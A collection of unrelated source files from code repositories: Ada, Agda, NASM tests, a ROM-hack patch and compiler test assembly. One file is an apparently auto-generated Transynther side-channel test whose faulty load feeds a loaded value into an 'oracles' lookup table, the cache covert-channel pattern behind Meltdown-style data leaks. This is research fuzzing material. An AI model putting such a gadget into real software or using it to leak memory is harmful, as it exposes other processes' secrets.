DD _lazy22 wrt ..imagebase,_lazy22_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
section .xdata rdata align=8
ALIGN 8
_lazy_unwind_info:
DB 0x01,0x04,0x01,0x00
DB 0x04,0x42,0x00,0x00
|
day19/day19.adb
|
thorstel/Advent-of-Code-2018
| 2 |
22541
|
with Ada.Text_IO; use Ada.Text_IO;
with Interfaces; use Interfaces;
with Ada.Containers.Vectors;
with Opcode_Helper;
procedure Day19 is
package OH is new Opcode_Helper (Register_Size => 6);
use OH;
subtype Op_String is String (1 .. 4);
type Instruction is record
Op : Op_String;
A : Unsigned_64;
B : Unsigned_64;
C : Unsigned_64;
end record;
package Instr_Vectors is new Ada.Containers.Vectors
(Index_Type => Natural,
Element_Type => Instruction);
use Instr_Vectors;
Program : Vector;
IP : Unsigned_64 := 0;
IP_Reg : Natural := 0;
Reg : Registers := (others => 0);
procedure Execute_Program is
begin
while IP < Unsigned_64 (Program.Length) loop
declare
Idx : constant Natural := Natural (IP);
Op : constant Op_String := Program (Idx).Op;
A : constant Unsigned_64 := Program (Idx).A;
B : constant Unsigned_64 := Program (Idx).B;
C : constant Unsigned_64 := Program (Idx).C;
begin
Reg (IP_Reg) := IP;
Reg := Execute_Instruction (Op, Reg, A, B, C);
IP := Reg (IP_Reg) + 1;
end;
end loop;
end Execute_Program;
begin
-- Input Handling
declare
File : File_Type;
begin
Open (File, In_File, "input.txt");
IP_Reg := Natural'Value (Get_Line (File) (5 .. 5));
while not End_Of_File (File) loop
declare
Line : constant String := Get_Line (File);
Op : constant Op_String := Line (1 .. 4);
I, J : Positive := 6;
ABC : array (Positive range 1 .. 3) of Unsigned_64;
K : Positive := ABC'First;
begin
while J <= Line'Last loop
if Line (J) = ' ' or J = Line'Last then
ABC (K) := Unsigned_64'Value (Line (I .. J));
K := K + 1;
I := J;
end if;
J := J + 1;
end loop;
Program.Append ((Op, ABC (1), ABC (2), ABC (3)));
end;
end loop;
Close (File);
end;
-- Part 1
Execute_Program;
Put_Line ("Part 1 =" & Unsigned_64'Image (Reg (0)));
-- Reset for part 2
Reg := (0 => 1, others => 0);
IP := 0;
-- Quit the program instead of continuing the loop
Program (Program.Last_Index).A := Unsigned_64 (Program.Length);
Execute_Program;
-- The program would now calculate the sum of divisors. We can do
-- that a lot faster. The corresponding register (in this case 5)
-- may be different with other inputs.
declare
Sum : Unsigned_64 := 0;
begin
for I in 1 .. Reg (5) loop
if Reg (5) mod I = 0 then
Sum := Sum + I;
end if;
end loop;
Put_Line ("Part 2 =" & Unsigned_64'Image (Sum));
end;
end Day19;
|
tools/SPARK2005/packages/polypaver/pp_f_exact.ads
|
michalkonecny/polypaver
| 1 |
3388
|
<gh_stars>1-10
package PP_F_Exact is
-- Various SPARK functions for use in SPARK assertions.
-- These functions are then featured in VCs and PolyPaver will
-- understand their meaning. For each of these functions,
-- its semantics is the exact real interpretation of its name.
--
-- The F in the package name stands for the Float type.
--
-- Ideally all occurences of Float in this package would be
-- replaced with Real and all floating point types would
-- be subtypes of Real.
-- Unfortunately, such type Real is not available in SPARK.
--# function Square (X : Float) return Float;
--# function Int_Power (X : Float; N : Integer) return Float;
--# function Sqrt (X : Float) return Float;
--# function Exp (X : Float) return Float;
--# function Sin (X : Float) return Float;
--# function Cos (X : Float) return Float;
--# function Pi return Float;
--# function Integral (Lo,Hi,Integrand : Float) return Float;
--# function Integration_Variable return Float;
--# function Interval(Low, High : Float) return Float;
--# function Contained_In(Inner, Outer : Float) return Boolean;
--# function Is_Range(Variable : Float; Min : Float; Max : Float) return Boolean;
--# function Eps_Abs(Prec : Integer) return Float;
--# function Eps_Rel(Prec : Integer) return Float;
--# function Plus_Minus_Eps_Abs(Prec : Integer) return Float;
--# function Plus_Minus_Eps_Rel(Prec : Integer) return Float;
end PP_F_Exact;
|
source/nodes/program-nodes-task_definitions.ads
|
reznikmm/gela
| 0 |
29338
|
<reponame>reznikmm/gela
-- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
with Program.Element_Vectors;
with Program.Lexical_Elements;
with Program.Elements.Identifiers;
with Program.Elements.Task_Definitions;
with Program.Element_Visitors;
package Program.Nodes.Task_Definitions is
pragma Preelaborate;
type Task_Definition is
new Program.Nodes.Node
and Program.Elements.Task_Definitions.Task_Definition
and Program.Elements.Task_Definitions.Task_Definition_Text
with private;
function Create
(Visible_Declarations : Program.Element_Vectors.Element_Vector_Access;
Private_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Private_Declarations : Program.Element_Vectors.Element_Vector_Access;
End_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
End_Name : Program.Elements.Identifiers.Identifier_Access)
return Task_Definition;
type Implicit_Task_Definition is
new Program.Nodes.Node
and Program.Elements.Task_Definitions.Task_Definition
with private;
function Create
(Visible_Declarations : Program.Element_Vectors.Element_Vector_Access;
Private_Declarations : Program.Element_Vectors.Element_Vector_Access;
End_Name : Program.Elements.Identifiers.Identifier_Access;
Is_Part_Of_Implicit : Boolean := False;
Is_Part_Of_Inherited : Boolean := False;
Is_Part_Of_Instance : Boolean := False)
return Implicit_Task_Definition
with Pre =>
Is_Part_Of_Implicit or Is_Part_Of_Inherited or Is_Part_Of_Instance;
private
type Base_Task_Definition is
abstract new Program.Nodes.Node
and Program.Elements.Task_Definitions.Task_Definition
with record
Visible_Declarations : Program.Element_Vectors.Element_Vector_Access;
Private_Declarations : Program.Element_Vectors.Element_Vector_Access;
End_Name : Program.Elements.Identifiers.Identifier_Access;
end record;
procedure Initialize (Self : in out Base_Task_Definition'Class);
overriding procedure Visit
(Self : not null access Base_Task_Definition;
Visitor : in out Program.Element_Visitors.Element_Visitor'Class);
overriding function Visible_Declarations
(Self : Base_Task_Definition)
return Program.Element_Vectors.Element_Vector_Access;
overriding function Private_Declarations
(Self : Base_Task_Definition)
return Program.Element_Vectors.Element_Vector_Access;
overriding function End_Name
(Self : Base_Task_Definition)
return Program.Elements.Identifiers.Identifier_Access;
overriding function Is_Task_Definition
(Self : Base_Task_Definition)
return Boolean;
overriding function Is_Definition
(Self : Base_Task_Definition)
return Boolean;
type Task_Definition is
new Base_Task_Definition
and Program.Elements.Task_Definitions.Task_Definition_Text
with record
Private_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
End_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
end record;
overriding function To_Task_Definition_Text
(Self : in out Task_Definition)
return Program.Elements.Task_Definitions.Task_Definition_Text_Access;
overriding function Private_Token
(Self : Task_Definition)
return not null Program.Lexical_Elements.Lexical_Element_Access;
overriding function End_Token
(Self : Task_Definition)
return not null Program.Lexical_Elements.Lexical_Element_Access;
type Implicit_Task_Definition is
new Base_Task_Definition
with record
Is_Part_Of_Implicit : Boolean;
Is_Part_Of_Inherited : Boolean;
Is_Part_Of_Instance : Boolean;
end record;
overriding function To_Task_Definition_Text
(Self : in out Implicit_Task_Definition)
return Program.Elements.Task_Definitions.Task_Definition_Text_Access;
overriding function Is_Part_Of_Implicit
(Self : Implicit_Task_Definition)
return Boolean;
overriding function Is_Part_Of_Inherited
(Self : Implicit_Task_Definition)
return Boolean;
overriding function Is_Part_Of_Instance
(Self : Implicit_Task_Definition)
return Boolean;
end Program.Nodes.Task_Definitions;
|
src/Categories/Category/Construction/Properties/EilenbergMoore.agda
|
MirceaS/agda-categories
| 0 |
6496
|
{-# OPTIONS --without-K --safe #-}
module Categories.Category.Construction.Properties.EilenbergMoore where
open import Level
import Relation.Binary.PropositionalEquality as β‘
open import Categories.Adjoint
open import Categories.Adjoint.Properties
open import Categories.Category
open import Categories.Functor using (Functor; _βF_)
open import Categories.Functor.Equivalence
open import Categories.Monad
open import Categories.NaturalTransformation renaming (id to idN)
open import Categories.Morphism.HeterogeneousIdentity
open import Categories.Adjoint.Construction.EilenbergMoore
open import Categories.Category.Construction.EilenbergMoore
private
variable
o β e : Level
π π : Category o β e
module _ {F : Functor π π} {G : Functor π π} (Fβ£G : Adjoint F G) where
private
T : Monad π
T = adjointβmonad Fβ£G
πα΅ : Category _ _ _
πα΅ = EilenbergMoore T
module π = Category π
module π = Category π
module πα΅ = Category πα΅
open π.HomReasoning
module T = Monad T
module F = Functor F
module G = Functor G
open Adjoint Fβ£G
open NaturalTransformation
-- Maclane's Comparison Functor
ComparisonF : Functor π πα΅
ComparisonF = record
{ Fβ = Ξ» X β record
{ A = G.Fβ X
; action = G.Fβ (counit.Ξ· X)
; commute = commute (G βΛ‘ counit) (counit.Ξ· X)
; identity = zag
}
; Fβ = Ξ» {A} {B} f β record
{ arr = G.Fβ f
; commute = begin
π [ G.Fβ f β G.Fβ (counit.Ξ· A) ] βΛβ¨ G.homomorphism β©
G.Fβ (π [ f β (counit.Ξ· A) ]) βΛβ¨ G.F-resp-β (counit.commute f) β©
G.Fβ (π [ counit.Ξ· B β F.Fβ (G.Fβ f) ]) ββ¨ G.homomorphism β©
π [ G.Fβ (counit.Ξ· B) β G.Fβ (F.Fβ (G.Fβ f)) ] β
}
; identity = G.identity
; homomorphism = G.homomorphism
; F-resp-β = G.F-resp-β
}
private
K = ComparisonF
module K = Functor K
module Gα΅ = Functor (Forgetful T)
module Fα΅ = Functor (Free T)
ComparisonβFβ‘Free : (ComparisonF βF F) β‘F Free T
ComparisonβFβ‘Free = record
{ eqβ = Ξ» X β β‘.refl
; eqβ = Ξ» {A} {B} f β begin
Moduleβ.arr (πα΅ [ (hid πα΅ β‘.refl) β K.Fβ (F.Fβ f) ]) ββ¨ hid-refl πα΅ {A = K.Fβ (F.Fβ B)} β©ββ¨refl β©
Moduleβ.arr (πα΅ [ πα΅.id β K.Fβ (F.Fβ f) ]) ββ¨ π.identityΛ‘ {f = Moduleβ.arr (K.Fβ (F.Fβ f))} β©
Moduleβ.arr (K.Fβ (F.Fβ f)) ββ¨ refl β©
Moduleβ.arr (Fα΅.Fβ f) βΛβ¨ πα΅.identityΚ³ {f = Fα΅.Fβ f} β©
Moduleβ.arr (πα΅ [ Fα΅.Fβ f β πα΅.id ]) βΛβ¨ reflβ©ββ¨ hid-refl πα΅ {A = Fα΅.Fβ A} β©
Moduleβ.arr (πα΅ [ Fα΅.Fβ f β (hid πα΅ β‘.refl) ]) β
}
ForgetfulβComparisonFβ‘G : (Forgetful T βF ComparisonF) β‘F G
ForgetfulβComparisonFβ‘G = record
{ eqβ = Ξ» X β β‘.refl
; eqβ = Ξ» f β begin
π [ (hid π β‘.refl) β (Gα΅.Fβ (K.Fβ f)) ] ββ¨ hid-refl π β©ββ¨refl β©
π [ π.id β (Gα΅.Fβ (K.Fβ f)) ] ββ¨ π.identityΛ‘ β©
(Gα΅.Fβ (K.Fβ f)) ββ¨ refl β©
G.Fβ f βΛβ¨ π.identityΚ³ β©
π [ G.Fβ fΒ β π.id ] βΛβ¨ reflβ©ββ¨ hid-refl π β©
π [ G.Fβ fΒ β (hid π β‘.refl) ] β
}
|
unittests/ASM/Secondary/08_XX_06_2.asm
|
woachk/FEX
| 0 |
18813
|
%ifdef CONFIG
{
"RegData": {
"R15": "0x20"
},
"MemoryRegions": {
"0x100000000": "4096"
}
}
%endif
%macro cfmerge 0
; Get CF
sbb r14, r14
and r14, 1
; Merge in to results
shl r15, 1
or r15, r14
%endmacro
mov rdx, 0xe0000000
mov rax, 0xFFFFFFFF80000002
mov [rdx + 8 * 0], rax
mov [rdx + 8 * 1], rax
mov [rdx + 8 * 2], rax
mov rax, 0x01
mov [rdx + 8 * 3], eax
mov rax, 0x0
mov [rdx + 8 * 3 + 4], eax
xor r15, r15 ; Will contain our results
movzx r12, word [rdx]
; Test and set
btr r12w, 1
cfmerge
; Ensure it is set
bt r12w, 1
cfmerge
mov r13, 32
mov r12d, dword [rdx]
btr r12d, r13d
cfmerge
bt r12d, r13d
cfmerge
mov r12, qword [rdx]
btr r12, 64 * 3
cfmerge
bt r12, 64 * 3
cfmerge
hlt
|
special_inserts.asm
|
SPMoo66/dpe
| 0 |
83271
|
<filename>special_inserts.asm
.text
.align 2
.thumb
.equ NUM_SPECIES, 1286
.equ EVOS_PER_MON, 16
.equ FINAL_DEX_ENTRY, 905
@;.equ SEEN_DEX_FLAGS, 0x202583C
@;.equ CAUGHT_DEX_FLAGS, (SEEN_DEX_FLAGS + (FINAL_DEX_ENTRY / 8) + 1)
@@Fix Num Evolutions@@
.org 0x4598A, 0xFF
mov r5, #EVOS_PER_MON * 8
mov r3, r12
add r3, #EVOS_PER_MON * 8
@@Fix Egg Hatching Time@@
.org 0x46204, 0xFF
.word gBaseStats + 0x11
.org 0x462A8, 0xFF
.word gBaseStats + 0x11
@@Fix New Game Dex Flags Clear@@
.org 0x549B0, 0xFF
mov r0, r4
mov r8, r8
mov r1, #0x0
mov r2, #(FINAL_DEX_ENTRY / 8) + 1
.org 0x549BC, 0xFF
mov r0, r4
add r0, #(FINAL_DEX_ENTRY / 8) + 1
mov r1, #0x0
mov r2, #(FINAL_DEX_ENTRY / 8) + 1
@;.org 0x549D0, 0xFF
@;.word SEEN_DEX_FLAGS
@@Fix Dex Views@@
.org 0x88EA4, 0xFF @Pokedex Count
.word FINAL_DEX_ENTRY - 1
.org 0x1037D4, 0xFF @Weight View
.word FINAL_DEX_ENTRY - 1
.org 0x103870, 0xFF @Height View
.word FINAL_DEX_ENTRY - 1
.org 0x103920, 0xFF @General
.word FINAL_DEX_ENTRY - 1
@;.org 0x104B10, 0xFF
@;.word SEEN_DEX_FLAGS
@;.org 0x104B5C, 0xFF
@;.word CAUGHT_DEX_FLAGS
@;.org 0x104B94, 0xFF
@;.word SEEN_DEX_FLAGS
@;.org 0x104BB8, 0xFF
@;.word CAUGHT_DEX_FLAGS
.org 0x104C28, 0xFF
.word FINAL_DEX_ENTRY - 1
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ Remove Caught Mon Pokedex 151 Limiter
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
.org 0x10682E, 0xFF
mov r8, r8
.org 0x106B80, 0xFF
RemoveCaughtMonPokedex151Limiter:
b RemoveCaughtMonPokedex151Limiter + 0x24 @0x106BA4
|
tests/tests/device/device_descriptor/main.adb
|
JeremyGrosser/usb_embedded
| 0 |
11189
|
<filename>tests/tests/device/device_descriptor/main.adb
with USB_Testing; use USB_Testing;
with USB_Testing.UDC_Stub;
with USB_Testing.UDC_Scenarios;
with HAL; use HAL;
with USB;
procedure Main is
Scenario : aliased constant UDC_Stub.Stub_Scenario :=
UDC_Scenarios.Enumeration (Verbose => True);
RX_Data : aliased constant UInt8_Array := (0 .. 1 => 0);
begin
USB_Testing.UDC_Scenarios.Basic_UDC_Test (Scenario, RX_Data);
end Main;
|
src/Prelude.agda
|
lclem/agda-prelude
| 0 |
13730
|
<gh_stars>0
module Prelude where
open import Agda.Primitive public
open import Prelude.Unit public
open import Prelude.Empty public
open import Prelude.Function public
open import Prelude.Char public
open import Prelude.String public
open import Prelude.Bool public
open import Prelude.Nat public
open import Prelude.Word public
open import Prelude.Int public
open import Prelude.Bytes public
open import Prelude.Product public
open import Prelude.Sum public
open import Prelude.List public
open import Prelude.Maybe public
open import Prelude.Fin public
open import Prelude.Vec public
open import Prelude.Semiring public
open import Prelude.Number public
open import Prelude.Fractional public
open import Prelude.Erased public
open import Prelude.Strict public
open import Prelude.Monoid public
open import Prelude.Equality public
open import Prelude.Decidable public
open import Prelude.Functor public
open import Prelude.Applicative public
open import Prelude.Alternative public
open import Prelude.Monad public
open import Prelude.Show public
open import Prelude.Ord public
open import Prelude.Ord.Reasoning public
open import Prelude.Smashed public
open import Prelude.IO public
open import Prelude.Equality.Unsafe public using (eraseEquality)
open import Prelude.Equality.Inspect public
|
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_21829_3098.asm
|
ljhsiun2/medusa
| 9 |
175887
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r14
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xe3c3, %rax
nop
cmp %r12, %r12
movl $0x61626364, (%rax)
nop
nop
sub $60756, %r14
lea addresses_D_ht+0x7c73, %rbx
sub $32693, %r9
movb $0x61, (%rbx)
and $6360, %r9
lea addresses_UC_ht+0xcf4f, %r14
clflush (%r14)
nop
nop
nop
nop
nop
sub %r11, %r11
movl $0x61626364, (%r14)
xor $21896, %r12
lea addresses_UC_ht+0xe5bf, %rsi
lea addresses_A_ht+0x17a53, %rdi
nop
and %rax, %rax
mov $48, %rcx
rep movsw
nop
nop
nop
nop
inc %rcx
lea addresses_UC_ht+0xa538, %r14
nop
nop
nop
nop
and %rdi, %rdi
movb (%r14), %r9b
nop
nop
nop
nop
cmp $10976, %rbx
lea addresses_UC_ht+0x12d4b, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
xor %r10, %r10
movups (%rdi), %xmm4
vpextrq $0, %xmm4, %r14
nop
nop
nop
xor %rax, %rax
lea addresses_WT_ht+0x180dc, %rsi
lea addresses_WC_ht+0x6f53, %rdi
nop
nop
nop
nop
cmp %r14, %r14
mov $26, %rcx
rep movsw
nop
xor $47483, %r14
lea addresses_A_ht+0x11465, %r10
sub %r11, %r11
movb (%r10), %al
xor $29143, %rbx
lea addresses_A_ht+0x12a53, %rsi
lea addresses_normal_ht+0x7453, %rdi
nop
nop
nop
cmp %r14, %r14
mov $28, %rcx
rep movsl
nop
nop
nop
add $11467, %r12
lea addresses_WC_ht+0xda53, %rsi
lea addresses_D_ht+0x938b, %rdi
nop
nop
nop
nop
nop
inc %r10
mov $110, %rcx
rep movsl
nop
and $17688, %rdi
lea addresses_UC_ht+0x17273, %rsi
lea addresses_WT_ht+0x121e3, %rdi
sub $19715, %rbx
mov $117, %rcx
rep movsw
nop
nop
nop
nop
nop
inc %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r14
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %r8
push %r9
push %rbp
push %rcx
// Store
lea addresses_D+0xead3, %r14
sub %r10, %r10
mov $0x5152535455565758, %r8
movq %r8, %xmm7
movups %xmm7, (%r14)
nop
nop
nop
nop
sub $5593, %r14
// Load
lea addresses_A+0x14fa6, %r14
clflush (%r14)
nop
nop
nop
nop
nop
dec %rbp
mov (%r14), %r8w
nop
nop
sub %rcx, %rcx
// Store
mov $0x2ad1130000000d23, %r9
nop
xor %r14, %r14
movl $0x51525354, (%r9)
nop
nop
xor $39711, %r8
// Store
lea addresses_WC+0xb653, %r13
nop
and %rbp, %rbp
mov $0x5152535455565758, %r14
movq %r14, (%r13)
nop
cmp $54822, %r13
// Store
lea addresses_A+0x773, %r9
clflush (%r9)
nop
nop
nop
sub $65116, %r10
mov $0x5152535455565758, %rbp
movq %rbp, (%r9)
nop
nop
nop
dec %r10
// Faulty Load
lea addresses_A+0x19253, %r8
nop
nop
nop
xor %r9, %r9
movups (%r8), %xmm5
vpextrq $0, %xmm5, %rcx
lea oracles, %r14
and $0xff, %rcx
shlq $12, %rcx
mov (%r14,%rcx,1), %rcx
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_NC', 'same': False, 'size': 4, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_A', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': True}, 'OP': 'REPM'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
bb-runtimes/src/i-cache__armv7.adb
|
JCGobbi/Nucleo-STM32G474RE
| 0 |
28717
|
<filename>bb-runtimes/src/i-cache__armv7.adb
------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS --
-- --
-- I N T E R F A C E S . C A C H E --
-- --
-- S p e c --
-- --
-- Copyright (C) 2016-2017, AdaCore --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNARL was developed by the GNARL team at Florida State University. --
-- Extensive contributions were provided by Ada Core Technologies, Inc. --
-- --
------------------------------------------------------------------------------
with Interfaces.ARM_V7AR; use Interfaces.ARM_V7AR;
with System; use System;
package body Interfaces.Cache is
use System.Storage_Elements;
procedure Dcache_Invalidate_By_Range (Start : Address; Len : Storage_Count)
is
Line_Size : constant := 16;
Line_Off : Storage_Count;
Off : Storage_Count;
Addr : Address;
begin
Line_Off := Start mod Line_Size;
Addr := Start - Line_Off;
Off := 0;
loop
CP15.DCIMVAC (Addr);
Off := Off + Line_Size;
exit when Off > Len + Line_Off;
Addr := Addr + Line_Size;
end loop;
Barriers.DSB;
end Dcache_Invalidate_By_Range;
procedure Dcache_Flush_By_Range (Start : Address; Len : Storage_Count)
is
Line_Size : constant := 16;
Line_Off : Storage_Count;
Off : Storage_Count;
Addr : Address;
begin
Line_Off := Start mod Line_Size;
Addr := Start - Line_Off;
Off := 0;
loop
CP15.DCCIMVAC (Addr);
Off := Off + Line_Size;
exit when Off > Len + Line_Off;
Addr := Addr + Line_Size;
end loop;
Barriers.DSB;
end Dcache_Flush_By_Range;
end Interfaces.Cache;
|
test/filters-cases/gcc-sum.asm
|
OfekShilon/compiler-explorer
| 4,668 |
91222
|
<reponame>OfekShilon/compiler-explorer
.file "example.cpp"
.text
.Ltext0:
.globl _Z12testFunctionPii
.type _Z12testFunctionPii, @function
_Z12testFunctionPii:
.LFB0:
.file 1 "/tmp/example.cpp"
.loc 1 1 0
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
movq %rdi, -24(%rbp)
movl %esi, -28(%rbp)
.loc 1 2 0
movl $0, -8(%rbp)
.LBB2:
.loc 1 3 0
movl $0, -4(%rbp)
.L3:
.loc 1 3 0 is_stmt 0 discriminator 3
movl -4(%rbp), %eax
cmpl -28(%rbp), %eax
jge .L2
.loc 1 4 0 is_stmt 1 discriminator 2
movl -4(%rbp), %eax
cltq
leaq 0(,%rax,4), %rdx
movq -24(%rbp), %rax
addq %rdx, %rax
movl (%rax), %eax
addl %eax, -8(%rbp)
.loc 1 3 0 discriminator 2
addl $1, -4(%rbp)
jmp .L3
.L2:
.LBE2:
.loc 1 6 0
movl -8(%rbp), %eax
.loc 1 7 0
popq %rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size _Z12testFunctionPii, .-_Z12testFunctionPii
.Letext0:
.section .debug_info,"",@progbits
.Ldebug_info0:
